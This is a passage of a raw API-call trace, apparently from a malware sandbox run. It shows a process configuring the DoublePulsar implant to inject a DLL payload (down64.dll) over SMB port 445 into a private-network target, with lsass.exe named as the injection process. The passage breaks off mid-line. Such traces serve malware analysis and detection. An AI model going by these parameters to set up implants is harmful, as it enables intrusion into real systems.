[0120.054] calloc (_Count=0x1, _Size=0x48) returned 0x10bff20 [0120.054] strlen (_Str="InConfig") returned 0x8 [0120.054] calloc (_Count=0x9, _Size=0x1) returned 0x10bfb20 [0120.054] _mbscpy (in: param_1=0x10bfb20, param_2=0x331d0 | out: param_1=0x10bfb20) returned 0x10bfb20 [0120.054] strlen (_Str="Location of input XML file") returned 0x1a [0120.054] calloc (_Count=0x1b, _Size=0x1) returned 0x10bff70 [0120.054] _mbscpy (in: param_1=0x10bff70, param_2=0x331dc | out: param_1=0x10bff70) returned 0x10bff70 [0120.054] strlen (_Str="LocalFile") returned 0x9 [0120.054] calloc (_Count=0xa, _Size=0x1) returned 0x10bfb38 [0120.054] _mbscpy (in: param_1=0x10bfb38, param_2=0x14c208 | out: param_1=0x10bfb38) returned 0x10bfb38 [0120.054] strlen (_Str="Scalar") returned 0x6 [0120.054] calloc (_Count=0x7, _Size=0x1) returned 0x10bff98 [0120.054] _mbscpy (in: param_1=0x10bff98, param_2=0x14c3f8 | out: param_1=0x10bff98) returned 0x10bff98 [0120.054] strlen (_Str="urn:trch") returned 0x8 [0120.054] calloc (_Count=0x9, _Size=0x1) returned 0x10bfb50 [0120.054] _mbscpy (in: param_1=0x10bfb50, param_2=0x14c190 | out: param_1=0x10bfb50) returned 0x10bfb50 [0120.054] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.054] strlen (_Str="2.1.0") returned 0x5 [0120.054] calloc (_Count=0x6, _Size=0x1) returned 0x10bffa8 [0120.054] _mbscpy (in: param_1=0x10bffa8, param_2=0x14c4a0 | out: param_1=0x10bffa8) returned 0x10bffa8 [0120.055] calloc (_Count=0x1, _Size=0x10) returned 0x10bfb68 [0120.055] strlen (_Str="star.xml") returned 0x8 [0120.055] calloc (_Count=0x9, _Size=0x1) returned 0x10bfb80 [0120.055] _mbscpy (in: param_1=0x10bfb80, param_2=0x10bfa20 | out: param_1=0x10bfb80) returned 0x10bfb80 [0120.056] strlen (_Str="star.xml") returned 0x8 [0120.056] calloc (_Count=0x9, _Size=0x1) returned 0x10bfb98 [0120.056] _mbscpy (in: param_1=0x10bfb98, param_2=0x10bfa20 | out: param_1=0x10bfb98) returned 0x10bfb98 [0120.056] strlen (_Str="star.xml") returned 0x8 [0120.056] free (_Block=0x0) [0120.056] _access (_FileName="star.xml", _AccessMode=0) returned 0 [0120.056] free (_Block=0x10bfa20) [0120.056] realloc (_Block=0x10bff00, _Size=0x8) returned 0x10bff00 [0120.056] strcmp (_Str1="--OutConfig", _Str2="--") returned 1 [0120.056] strlen (_Str="--OutConfig") returned 0xb [0120.056] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.056] strlen (_Str="--OutConfig") returned 0xb [0120.056] strcmp (_Str1="a", _Str2="--") returned 1 [0120.056] strlen (_Str="a") returned 0x1 [0120.056] strcmp (_Str1="--TargetPort", _Str2="--") returned 1 [0120.056] strlen (_Str="--TargetPort") returned 0xc [0120.056] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.056] strlen (_Str="--TargetPort") returned 0xc [0120.056] strcmp (_Str1="445", _Str2="--") returned 1 [0120.056] strlen (_Str="445") returned 0x3 [0120.056] strcmp (_Str1="--Protocol", _Str2="--") returned 1 [0120.056] strlen (_Str="--Protocol") returned 0xa [0120.057] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.057] strlen (_Str="--Protocol") returned 0xa [0120.057] strcmp (_Str1="SMB", _Str2="--") returned 1 [0120.057] strlen (_Str="SMB") returned 0x3 [0120.057] strcmp (_Str1="--Architecture", _Str2="--") returned 1 [0120.057] strlen (_Str="--Architecture") returned 0xe [0120.057] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.057] strlen (_Str="--Architecture") returned 0xe [0120.057] strcmp (_Str1="x64", _Str2="--") returned 1 [0120.057] strlen (_Str="x64") returned 0x3 [0120.057] strcmp (_Str1="--Function", _Str2="--") returned 1 [0120.057] strlen (_Str="--Function") returned 0xa [0120.057] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.057] strlen (_Str="--Function") returned 0xa [0120.057] strcmp (_Str1="RunDLL", _Str2="--") returned 1 [0120.057] strlen (_Str="RunDLL") returned 0x6 [0120.057] strncmp (_Str1="Ru", _Str2="--", _MaxCount=0x2) returned 37 [0120.057] strcmp (_Str1="--DllPayload", _Str2="--") returned 1 [0120.057] strlen (_Str="--DllPayload") returned 0xc [0120.057] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.057] strlen (_Str="--DllPayload") returned 0xc [0120.057] strcmp (_Str1="C:\\ProgramData\\down64.dll", _Str2="--") returned 1 [0120.057] strlen (_Str="C:\\ProgramData\\down64.dll") returned 0x19 [0120.057] strncmp (_Str1="C:", _Str2="--", _MaxCount=0x2) returned 22 [0120.057] strcmp (_Str1="--TargetIp", _Str2="--") returned 1 [0120.057] strlen (_Str="--TargetIp") returned 0xa [0120.057] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.057] strlen (_Str="--TargetIp") returned 0xa [0120.057] strcmp (_Str1="192.168.0.171", _Str2="--") returned 1 [0120.057] strlen (_Str="192.168.0.171") returned 0xd [0120.057] strncmp (_Str1="19", _Str2="--", _MaxCount=0x2) returned 4 [0120.057] strcmp (_Str1="--OutConfig", _Str2="--") returned 1 [0120.057] strlen (_Str="--OutConfig") returned 0xb [0120.057] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.058] strcmp (_Str1="--OutConfig", _Str2="-?") returned -1 [0120.058] strlen (_Str="--OutConfig") returned 0xb [0120.058] strcmp (_Str1="a", _Str2="--") returned 1 [0120.058] strlen (_Str="a") returned 0x1 [0120.058] strcmp (_Str1="--TargetPort", _Str2="--") returned 1 [0120.058] strlen (_Str="--TargetPort") returned 0xc [0120.058] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.058] strcmp (_Str1="--TargetPort", _Str2="-?") returned -1 [0120.058] strlen (_Str="--TargetPort") returned 0xc [0120.058] strcmp (_Str1="445", _Str2="--") returned 1 [0120.058] strlen (_Str="445") returned 0x3 [0120.058] strcmp (_Str1="--Protocol", _Str2="--") returned 1 [0120.058] strlen (_Str="--Protocol") returned 0xa [0120.058] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.058] strcmp (_Str1="--Protocol", _Str2="-?") returned -1 [0120.058] strlen (_Str="--Protocol") returned 0xa [0120.058] strcmp (_Str1="SMB", _Str2="--") returned 1 [0120.058] strlen (_Str="SMB") returned 0x3 [0120.058] strcmp (_Str1="--Architecture", _Str2="--") returned 1 [0120.058] strlen (_Str="--Architecture") returned 0xe [0120.058] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.059] strcmp (_Str1="--Architecture", _Str2="-?") returned -1 [0120.059] strlen (_Str="--Architecture") returned 0xe [0120.059] strcmp (_Str1="x64", _Str2="--") returned 1 [0120.059] strlen (_Str="x64") returned 0x3 [0120.059] strcmp (_Str1="--Function", _Str2="--") returned 1 [0120.059] strlen (_Str="--Function") returned 0xa [0120.059] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.059] strcmp (_Str1="--Function", _Str2="-?") returned -1 [0120.059] strlen (_Str="--Function") returned 0xa [0120.059] strcmp (_Str1="RunDLL", _Str2="--") returned 1 [0120.059] strlen (_Str="RunDLL") returned 0x6 [0120.059] strncmp (_Str1="Ru", _Str2="--", _MaxCount=0x2) returned 37 [0120.059] strcmp (_Str1="--DllPayload", _Str2="--") returned 1 [0120.059] strlen (_Str="--DllPayload") returned 0xc [0120.059] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.059] strcmp (_Str1="--DllPayload", _Str2="-?") returned -1 [0120.059] strlen (_Str="--DllPayload") returned 0xc [0120.059] strcmp (_Str1="C:\\ProgramData\\down64.dll", _Str2="--") returned 1 [0120.059] strlen (_Str="C:\\ProgramData\\down64.dll") returned 0x19 [0120.059] strncmp (_Str1="C:", _Str2="--", _MaxCount=0x2) returned 22 [0120.059] strcmp (_Str1="--TargetIp", _Str2="--") returned 1 [0120.059] strlen (_Str="--TargetIp") returned 0xa [0120.059] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.060] strcmp (_Str1="--TargetIp", _Str2="-?") returned -1 [0120.060] strlen (_Str="--TargetIp") returned 0xa [0120.060] strcmp (_Str1="192.168.0.171", _Str2="--") returned 1 [0120.060] strlen (_Str="192.168.0.171") returned 0xd [0120.060] strncmp (_Str1="19", _Str2="--", _MaxCount=0x2) returned 4 [0120.060] strlen (_Str="star.xml") returned 0x8 [0120.060] calloc (_Count=0x9, _Size=0x1) returned 0x10bfbb0 [0120.060] free (_Block=0x10bfa68) [0120.060] free (_Block=0x0) [0120.060] free (_Block=0x0) [0120.060] free (_Block=0x10bfa78) [0120.061] free (_Block=0x10bfa88) [0120.061] free (_Block=0x10bfaa0) [0120.061] free (_Block=0x10bfb08) [0120.061] free (_Block=0x10bfef0) [0120.061] free (_Block=0x10bfad8) [0120.061] free (_Block=0x10bfb98) [0120.061] free (_Block=0x10bfb68) [0120.061] free (_Block=0x10bfb50) [0120.061] free (_Block=0x10bffa8) [0120.061] free (_Block=0x10bfb20) [0120.061] free (_Block=0x10bff70) [0120.061] free (_Block=0x10bfb80) [0120.061] free (_Block=0x10bfb38) [0120.061] free (_Block=0x10bff98) [0120.061] free (_Block=0x0) [0120.061] free (_Block=0x0) [0120.061] free (_Block=0x10bff20) [0120.061] free (_Block=0x10bff00) [0120.061] free (_Block=0x10bff10) [0120.061] free (_Block=0x10bfab0) [0120.061] free (_Block=0x0) [0120.061] free (_Block=0x0) [0120.061] free (_Block=0x10bfa38) [0120.061] strcmp (_Str1="star.xml", _Str2="stdout") returned -1 [0120.061] _open (_FileName="star.xml" (normalized: "c:\\programdata\\star.xml"), _OpenFlag=32768) returned 3 [0120.061] _fstat (_FileHandle=3, _Stat=0xdafe80) returned 0 [0120.135] calloc (_Count=0x14e6, _Size=0x1) returned 0xfa0048 [0120.135] _read (in: _FileHandle=3, _DstBuf=0xfa0048, _MaxCharCount=0x14e5 | out: _DstBuf=0xfa0048*) returned 5349 [0120.136] strcmp (_Str1="star.xml", _Str2="stdout") returned -1 [0120.136] _close (_FileHandle=3) returned 0 [0120.136] WaitForSingleObject (hHandle=0x44, dwMilliseconds=0xffffffff) returned 0x0 [0120.136] strlen (_Str="\r\n\r\n \r\n \r\n \r\n 60\r\n \r\n \r\n \r\n 445\r\n \r\n \r\n \r\n SMB\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n x86\r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n OutputInstall\r\n \r\n \r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n 1\r\n \r\n \r\n lsass.exe\r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n \r\n \r\n\r\n") returned 0x14e5 [0120.136] malloc (_Size=0x1d0) returned 0xfa1538 [0120.136] GetCurrentThreadId () returned 0x1420 [0120.136] malloc (_Size=0x1c) returned 0x10bfa40 [0120.136] malloc (_Size=0x18) returned 0x10bfa68 [0120.136] malloc (_Size=0xa00) returned 0xfa1710 [0120.136] malloc (_Size=0x80) returned 0x10bd4e8 [0120.136] malloc (_Size=0x14) returned 0x10bfa88 [0120.136] malloc (_Size=0x28) returned 0x10bfaa8 [0120.136] malloc (_Size=0x28) returned 0x10bfef0 [0120.136] malloc (_Size=0x28) returned 0x10bff20 [0120.136] GetCurrentThreadId () returned 0x1420 [0120.136] GetCurrentThreadId () returned 0x1420 [0120.136] GetCurrentThreadId () returned 0x1420 [0120.136] GetCurrentThreadId () returned 0x1420 [0120.137] GetCurrentThreadId () returned 0x1420 [0120.137] GetCurrentThreadId () returned 0x1420 [0120.137] malloc (_Size=0x24) returned 0x10bff50 [0120.137] GetCurrentThreadId () returned 0x1420 [0120.137] malloc (_Size=0x14) returned 0x10bff80 [0120.137] GetCurrentThreadId () returned 0x1420 [0120.137] malloc (_Size=0x2002) returned 0xfa2118 [0120.137] malloc (_Size=0x3c) returned 0x10bffa0 [0120.137] malloc (_Size=0x400) returned 0xfa4128 [0120.137] malloc (_Size=0x14) returned 0xfa4530 [0120.137] GetCurrentThreadId () returned 0x1420 [0120.137] malloc (_Size=0xa) returned 0x10bfb38 [0120.137] malloc (_Size=0xa) returned 0x10bfb80 [0120.137] malloc (_Size=0x60) returned 0xfa4550 [0120.137] malloc (_Size=0x4) returned 0x10bfad8 [0120.137] malloc (_Size=0x6) returned 0xfa45b8 [0120.137] malloc (_Size=0x2c) returned 0xfa45c8 [0120.137] malloc (_Size=0x4) returned 0xfa4600 [0120.138] malloc (_Size=0x5) returned 0xfa4610 [0120.138] free (_Block=0xfa4600) [0120.138] free (_Block=0xfa4610) [0120.138] free (_Block=0xfa45c8) [0120.138] malloc (_Size=0x28) returned 0xfa45c8 [0120.138] malloc (_Size=0xdc) returned 0xfa45f8 [0120.138] malloc (_Size=0x2c) returned 0xfa46e0 [0120.138] malloc (_Size=0x14) returned 0xfa4718 [0120.138] malloc (_Size=0x3c) returned 0xfa4738 [0120.138] malloc (_Size=0x7) returned 0xfa4780 [0120.138] malloc (_Size=0x18) returned 0xfa4790 [0120.138] malloc (_Size=0x9) returned 0x10bfb20 [0120.138] malloc (_Size=0x30) returned 0xfa47b0 [0120.138] malloc (_Size=0x3) returned 0xfa47e8 [0120.138] malloc (_Size=0x3c) returned 0xfa47f8 [0120.138] malloc (_Size=0x29) returned 0xfa4840 [0120.138] malloc (_Size=0x30) returned 0xfa4878 [0120.138] malloc (_Size=0x5) returned 0xfa48b0 [0120.138] malloc (_Size=0x3c) returned 0xfa48c0 [0120.138] malloc (_Size=0xd) returned 0x10bfb50 [0120.138] malloc (_Size=0x30) returned 0xfa4908 [0120.138] malloc (_Size=0x8) returned 0xfa4940 [0120.138] malloc (_Size=0x3c) returned 0xfa4950 [0120.139] malloc (_Size=0x6) returned 0xfa4998 [0120.139] malloc (_Size=0x30) returned 0xfa49a8 [0120.139] malloc (_Size=0xe) returned 0x10bfb68 [0120.139] malloc (_Size=0x3c) returned 0xfa49e0 [0120.139] malloc (_Size=0x8) returned 0xfa4a28 [0120.139] malloc (_Size=0x30) returned 0xfa4a38 [0120.139] malloc (_Size=0xe) returned 0x10bfb98 [0120.139] malloc (_Size=0x3c) returned 0xfa4a70 [0120.139] malloc (_Size=0x6) returned 0xfa4ab8 [0120.139] malloc (_Size=0x3c) returned 0xfa4ac8 [0120.139] malloc (_Size=0x6) returned 0xfa4b10 [0120.139] malloc (_Size=0x14) returned 0xfa4b20 [0120.139] malloc (_Size=0x3c) returned 0xfa4b40 [0120.139] malloc (_Size=0x10) returned 0x10bfb08 [0120.139] malloc (_Size=0x3c) returned 0xfa4b88 [0120.139] malloc (_Size=0xa) returned 0x10bfbc8 [0120.139] realloc (_Block=0x10bfbc8, _Size=0x26) returned 0xfa4bd0 [0120.139] malloc (_Size=0x3c) returned 0xfa4c00 [0120.139] malloc (_Size=0xa) returned 0x10bfbc8 [0120.139] malloc (_Size=0x30) returned 0xfa4c48 [0120.139] malloc (_Size=0x5) returned 0xfa4c80 [0120.140] malloc (_Size=0x3c) returned 0xfa4c90 [0120.140] malloc (_Size=0xf) returned 0x10bfbe0 [0120.140] malloc (_Size=0x30) returned 0xfa4cd8 [0120.140] malloc (_Size=0xc) returned 0x10bfbf8 [0120.140] malloc (_Size=0x3c) returned 0xfa4d10 [0120.140] malloc (_Size=0x49) returned 0xfa4d58 [0120.140] malloc (_Size=0x30) returned 0xfa4db0 [0120.140] malloc (_Size=0x5) returned 0xfa4e00 [0120.140] malloc (_Size=0x3c) returned 0xfa51e8 [0120.140] malloc (_Size=0x4) returned 0xfa4e10 [0120.140] malloc (_Size=0x3c) returned 0xfa5230 [0120.140] malloc (_Size=0xe) returned 0x10bfc10 [0120.140] malloc (_Size=0x3c) returned 0xfa5278 [0120.140] malloc (_Size=0x8) returned 0xfa4e20 [0120.140] malloc (_Size=0x3c) returned 0xfa52c0 [0120.140] malloc (_Size=0x3) returned 0xfa4e30 [0120.140] malloc (_Size=0x3c) returned 0xfa5320 [0120.141] malloc (_Size=0xa) returned 0x10bfc28 [0120.141] malloc (_Size=0x3c) returned 0xfa5368 [0120.141] malloc (_Size=0xa) returned 0x10bfc40 [0120.141] malloc (_Size=0x3c) returned 0xfa53b0 [0120.141] malloc (_Size=0xa) returned 0x10bfc58 [0120.141] malloc (_Size=0x30) returned 0xfa6308 [0120.141] malloc (_Size=0x5) returned 0xfa4e40 [0120.141] malloc (_Size=0x3c) returned 0xfa53f8 [0120.141] malloc (_Size=0x9) returned 0x10bfc70 [0120.141] malloc (_Size=0x30) returned 0xfa6340 [0120.141] malloc (_Size=0x8) returned 0xfa4e50 [0120.141] malloc (_Size=0x3c) returned 0xfa5440 [0120.141] malloc (_Size=0x15) returned 0xfa6378 [0120.141] malloc (_Size=0x30) returned 0xfa6398 [0120.141] malloc (_Size=0xc) returned 0x10bfc88 [0120.141] malloc (_Size=0x3c) returned 0xfa5488 [0120.141] malloc (_Size=0x12) returned 0xfa63d0 [0120.141] malloc (_Size=0x30) returned 0xfa63f0 [0120.141] malloc (_Size=0x5) returned 0xfa4e60 [0120.141] malloc (_Size=0x3c) returned 0xfa54d0 [0120.142] malloc (_Size=0x5) returned 0xfa4e70 [0120.142] malloc (_Size=0x3c) returned 0xfa5518 [0120.142] malloc (_Size=0xa) returned 0x10bfca0 [0120.142] malloc (_Size=0x3c) returned 0xfa5560 [0120.142] malloc (_Size=0xa) returned 0x10bfcb8 [0120.142] malloc (_Size=0x30) returned 0xfa6428 [0120.142] malloc (_Size=0x5) returned 0xfa4e80 [0120.142] malloc (_Size=0x3c) returned 0xfa55a8 [0120.142] malloc (_Size=0xb) returned 0x10bfcd0 [0120.142] malloc (_Size=0x30) returned 0xfa6460 [0120.142] malloc (_Size=0x8) returned 0xfa4e90 [0120.142] malloc (_Size=0x3c) returned 0xfa55f0 [0120.142] malloc (_Size=0xc) returned 0x10bfce8 [0120.142] malloc (_Size=0x30) returned 0xfa6498 [0120.142] malloc (_Size=0xc) returned 0x10bfd00 [0120.142] malloc (_Size=0x3c) returned 0xfa5638 [0120.142] malloc (_Size=0x29) returned 0xfa64e8 [0120.142] malloc (_Size=0x30) returned 0xfa6520 [0120.142] malloc (_Size=0x5) returned 0xfa4ea0 [0120.142] malloc (_Size=0x3c) returned 0xfa5680 [0120.142] malloc (_Size=0x8) returned 0xfa4eb0 [0120.142] malloc (_Size=0x3c) returned 0xfa56c8 [0120.142] malloc (_Size=0xe) returned 0x10bfd18 [0120.143] malloc (_Size=0x3c) returned 0xfa5710 [0120.143] malloc (_Size=0x8) returned 0xfa4ec0 [0120.143] malloc (_Size=0x3c) returned 0xfa5758 [0120.143] malloc (_Size=0x4) returned 0xfa4ed0 [0120.143] malloc (_Size=0x3c) returned 0xfa57a0 [0120.143] malloc (_Size=0xa) returned 0x10bfd30 [0120.143] malloc (_Size=0x3c) returned 0xfa57e8 [0120.143] malloc (_Size=0xa) returned 0x10bfd48 [0120.143] realloc (_Block=0x10bfd48, _Size=0x26) returned 0xfa6cd0 [0120.143] malloc (_Size=0x14) returned 0xfa6d00 [0120.143] malloc (_Size=0x3c) returned 0xfa5830 [0120.143] malloc (_Size=0xc) returned 0x10bfd48 [0120.143] malloc (_Size=0x30) returned 0xfa6558 [0120.143] malloc (_Size=0x5) returned 0xfa4ee0 [0120.143] malloc (_Size=0x3c) returned 0xfa5878 [0120.143] malloc (_Size=0x9) returned 0x10bfd60 [0120.143] malloc (_Size=0x30) returned 0xfa6590 [0120.143] malloc (_Size=0x8) returned 0xfa4ef0 [0120.143] malloc (_Size=0x3c) returned 0xfa58c0 [0120.143] malloc (_Size=0x1b) returned 0xfa6d20 [0120.143] malloc (_Size=0x30) returned 0xfa65c8 [0120.143] malloc (_Size=0xc) returned 0x10bfd78 [0120.143] malloc (_Size=0x3c) returned 0xfa5908 [0120.143] malloc (_Size=0x23) returned 0xfa6d48 [0120.144] malloc (_Size=0x3c) returned 0xfa5950 [0120.144] malloc (_Size=0xe) returned 0x10bfd90 [0120.144] malloc (_Size=0x3c) returned 0xfa5998 [0120.144] malloc (_Size=0x8) returned 0xfa4f00 [0120.144] malloc (_Size=0x3c) returned 0xfa59e0 [0120.144] malloc (_Size=0x4) returned 0xfa4f10 [0120.144] malloc (_Size=0x3c) returned 0xfa5a28 [0120.144] malloc (_Size=0xe) returned 0x10bfda8 [0120.144] malloc (_Size=0x14) returned 0xfa6d78 [0120.144] malloc (_Size=0x3c) returned 0xfa5a70 [0120.144] malloc (_Size=0xb) returned 0x10bfdc0 [0120.144] malloc (_Size=0x30) returned 0xfa6600 [0120.144] malloc (_Size=0x5) returned 0xfa4f20 [0120.144] malloc (_Size=0x3c) returned 0xfa5ab8 [0120.144] malloc (_Size=0x4) returned 0xfa4f30 [0120.144] malloc (_Size=0x30) returned 0xfa6638 [0120.144] malloc (_Size=0xc) returned 0x10bfdd8 [0120.144] malloc (_Size=0x3c) returned 0xfa5b00 [0120.144] malloc (_Size=0x1e) returned 0xfa6d98 [0120.144] malloc (_Size=0x3c) returned 0xfa5b48 [0120.144] malloc (_Size=0xe) returned 0x10bfdf0 [0120.144] malloc (_Size=0x3c) returned 0xfa5b90 [0120.144] malloc (_Size=0xe) returned 0x10bfe08 [0120.144] malloc (_Size=0x3c) returned 0xfa5bd8 [0120.145] malloc (_Size=0xb) returned 0x10bfe20 [0120.145] malloc (_Size=0x30) returned 0xfa6670 [0120.145] malloc (_Size=0x5) returned 0xfa4f40 [0120.145] malloc (_Size=0x3c) returned 0xfa5c20 [0120.145] malloc (_Size=0x4) returned 0xfa4f50 [0120.145] malloc (_Size=0x30) returned 0xfa66a8 [0120.145] malloc (_Size=0xc) returned 0x10bfe38 [0120.145] malloc (_Size=0x3c) returned 0xfa5c68 [0120.145] malloc (_Size=0x1f) returned 0xfa6dc0 [0120.145] malloc (_Size=0x3c) returned 0xfa5cb0 [0120.145] malloc (_Size=0xe) returned 0x10bfe50 [0120.145] malloc (_Size=0x3c) returned 0xfa5cf8 [0120.145] malloc (_Size=0xa) returned 0x10bfe68 [0120.145] malloc (_Size=0x3c) returned 0xfa5d40 [0120.145] malloc (_Size=0xa) returned 0x10bfe80 [0120.145] realloc (_Block=0x10bfe80, _Size=0x26) returned 0xfa6de8 [0120.145] malloc (_Size=0x3c) returned 0xfa5d88 [0120.145] malloc (_Size=0xc) returned 0x10bfe80 [0120.145] malloc (_Size=0x30) returned 0xfa66e0 [0120.145] malloc (_Size=0x5) returned 0xfa4f60 [0120.145] malloc (_Size=0x3c) returned 0xfa5dd0 [0120.145] malloc (_Size=0xd) returned 0x10bfe98 [0120.145] malloc (_Size=0x30) returned 0xfa6718 [0120.145] malloc (_Size=0x8) returned 0xfa4f70 [0120.146] malloc (_Size=0x3c) returned 0xfa5e18 [0120.146] malloc (_Size=0x1f) returned 0xfa6e18 [0120.146] malloc (_Size=0x30) returned 0xfa6750 [0120.146] malloc (_Size=0xc) returned 0x10bfeb0 [0120.146] malloc (_Size=0x3c) returned 0xfa5e60 [0120.146] malloc (_Size=0x1e) returned 0xfa6e40 [0120.146] malloc (_Size=0x3c) returned 0xfa5ea8 [0120.146] malloc (_Size=0xe) returned 0x10bfec8 [0120.146] malloc (_Size=0x3c) returned 0xfa5ef0 [0120.146] malloc (_Size=0x8) returned 0xfa4f80 [0120.146] malloc (_Size=0x3c) returned 0xfa5f38 [0120.146] malloc (_Size=0x4) returned 0xfa4f90 [0120.146] malloc (_Size=0x3c) returned 0xfa5f80 [0120.146] malloc (_Size=0xe) returned 0xfa6e80 [0120.146] malloc (_Size=0x3c) returned 0xfa5fc8 [0120.146] malloc (_Size=0xb) returned 0xfa6e98 [0120.146] malloc (_Size=0x30) returned 0xfa6788 [0120.146] malloc (_Size=0x5) returned 0xfa4fa0 [0120.146] malloc (_Size=0x3c) returned 0xfa6010 [0120.146] malloc (_Size=0x4) returned 0xfa4fb0 [0120.147] malloc (_Size=0x30) returned 0xfa67c0 [0120.147] malloc (_Size=0xc) returned 0xfa6eb0 [0120.147] malloc (_Size=0x3c) returned 0xfa6058 [0120.147] malloc (_Size=0xc) returned 0xfa6ec8 [0120.147] malloc (_Size=0x3c) returned 0xfa60a0 [0120.147] malloc (_Size=0xe) returned 0xfa6ee0 [0120.147] malloc (_Size=0x3c) returned 0xfa60e8 [0120.147] malloc (_Size=0xe) returned 0xfa6ef8 [0120.147] malloc (_Size=0x3c) returned 0xfa6130 [0120.147] malloc (_Size=0xb) returned 0xfa6f10 [0120.147] malloc (_Size=0x30) returned 0xfa67f8 [0120.147] malloc (_Size=0x5) returned 0xfa4fc0 [0120.147] malloc (_Size=0x3c) returned 0xfa6178 [0120.147] malloc (_Size=0x4) returned 0xfa4fd0 [0120.147] malloc (_Size=0x30) returned 0xfa6830 [0120.147] malloc (_Size=0xc) returned 0xfa6f28 [0120.147] malloc (_Size=0x3c) returned 0xfa61c0 [0120.147] malloc (_Size=0xc) returned 0xfa6f40 [0120.147] malloc (_Size=0x3c) returned 0xfa6208 [0120.147] malloc (_Size=0xe) returned 0xfa6f58 [0120.147] malloc (_Size=0x3c) returned 0xfa6250 [0120.147] malloc (_Size=0xa) returned 0xfa6f70 [0120.147] malloc (_Size=0x3c) returned 0xfa6298 [0120.148] malloc (_Size=0xb) returned 0xfa6f88 [0120.148] malloc (_Size=0x3c) returned 0xfa7280 [0120.148] malloc (_Size=0xc) returned 0xfa6fa0 [0120.148] malloc (_Size=0x30) returned 0xfa6868 [0120.148] malloc (_Size=0x5) returned 0xfa4fe0 [0120.148] malloc (_Size=0x3c) returned 0xfa72c8 [0120.148] malloc (_Size=0x9) returned 0xfa6fb8 [0120.148] malloc (_Size=0x30) returned 0xfa68a0 [0120.148] malloc (_Size=0x8) returned 0xfa4ff0 [0120.148] malloc (_Size=0x3c) returned 0xfa7310 [0120.148] malloc (_Size=0x1b) returned 0xfa8268 [0120.148] malloc (_Size=0x30) returned 0xfa68d8 [0120.148] malloc (_Size=0xc) returned 0xfa6fd0 [0120.148] malloc (_Size=0x3c) returned 0xfa7358 [0120.148] malloc (_Size=0x22) returned 0xfa8290 [0120.148] realloc (_Block=0xfa7138, _Size=0x36) returned 0xfa8330 [0120.149] realloc (_Block=0xfa85a0, _Size=0x3e) returned 0xfa9b30 [0120.149] realloc (_Block=0xfa9670, _Size=0x36) returned 0xfaad70 [0120.149] realloc (_Block=0xfa96e8, _Size=0x1e) returned 0xfaadd8 [0120.149] strlen (_Str="a748cf79831d6c2444050f18217611549fe3f619") returned 0x28 [0120.149] calloc (_Count=0x29, _Size=0x1) returned 0xfacbc0 [0120.149] _mbscpy (in: param_1=0xfacbc0, param_2=0xfacb88 | out: param_1=0xfacbc0) returned 0xfacbc0 [0120.149] strlen (_Str="1.3.1.0") returned 0x7 [0120.149] calloc (_Count=0x8, _Size=0x1) returned 0xfaac18 [0120.149] _mbscpy (in: param_1=0xfaac18, param_2=0xfaabf8 | out: param_1=0xfaac18) returned 0xfaac18 [0120.149] strlen (_Str="Doublepulsar") returned 0xc [0120.149] calloc (_Count=0xd, _Size=0x1) returned 0x10bfb38 [0120.149] _mbscpy (in: param_1=0x10bfb38, param_2=0x10bfb80 | out: param_1=0x10bfb38) returned 0x10bfb38 [0120.149] strlen (_Str="1.3.1") returned 0x5 [0120.149] calloc (_Count=0x6, _Size=0x1) returned 0xfaac28 [0120.149] _mbscpy (in: param_1=0xfaac28, param_2=0xfaabe8 | out: param_1=0xfaac28) returned 0xfaac28 [0120.149] strlen (_Str="urn:trch") returned 0x8 [0120.149] calloc (_Count=0x9, _Size=0x1) returned 0xfad1b0 [0120.149] _mbscpy (in: param_1=0xfad1b0, param_2=0x10bfb20 | out: param_1=0xfad1b0) returned 0xfad1b0 [0120.149] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.149] strlen (_Str="2.0.0") returned 0x5 [0120.149] calloc (_Count=0x6, _Size=0x1) returned 0xfaac38 [0120.149] _mbscpy (in: param_1=0xfaac38, param_2=0xfaac08 | out: param_1=0xfaac38) returned 0xfaac38 [0120.149] free (_Block=0xfacb88) [0120.149] free (_Block=0x10bfb80) [0120.149] free (_Block=0xfaabe8) [0120.149] free (_Block=0xfaabf8) [0120.149] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.150] calloc (_Count=0x1, _Size=0x1c) returned 0xfaae90 [0120.150] strlen (_Str="inputparameters") returned 0xf [0120.150] calloc (_Count=0x10, _Size=0x1) returned 0x10bfb80 [0120.150] _mbscpy (in: param_1=0x10bfb80, param_2=0x10bfb08 | out: param_1=0x10bfb80) returned 0x10bfb80 [0120.150] strlen (_Str="urn:trch") returned 0x8 [0120.150] calloc (_Count=0x9, _Size=0x1) returned 0xfad1c8 [0120.150] _mbscpy (in: param_1=0xfad1c8, param_2=0x10bfb20 | out: param_1=0xfad1c8) returned 0xfad1c8 [0120.150] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.150] strlen (_Str="2.0.0") returned 0x5 [0120.150] calloc (_Count=0x6, _Size=0x1) returned 0xfaabf8 [0120.150] _mbscpy (in: param_1=0xfaabf8, param_2=0xfaac08 | out: 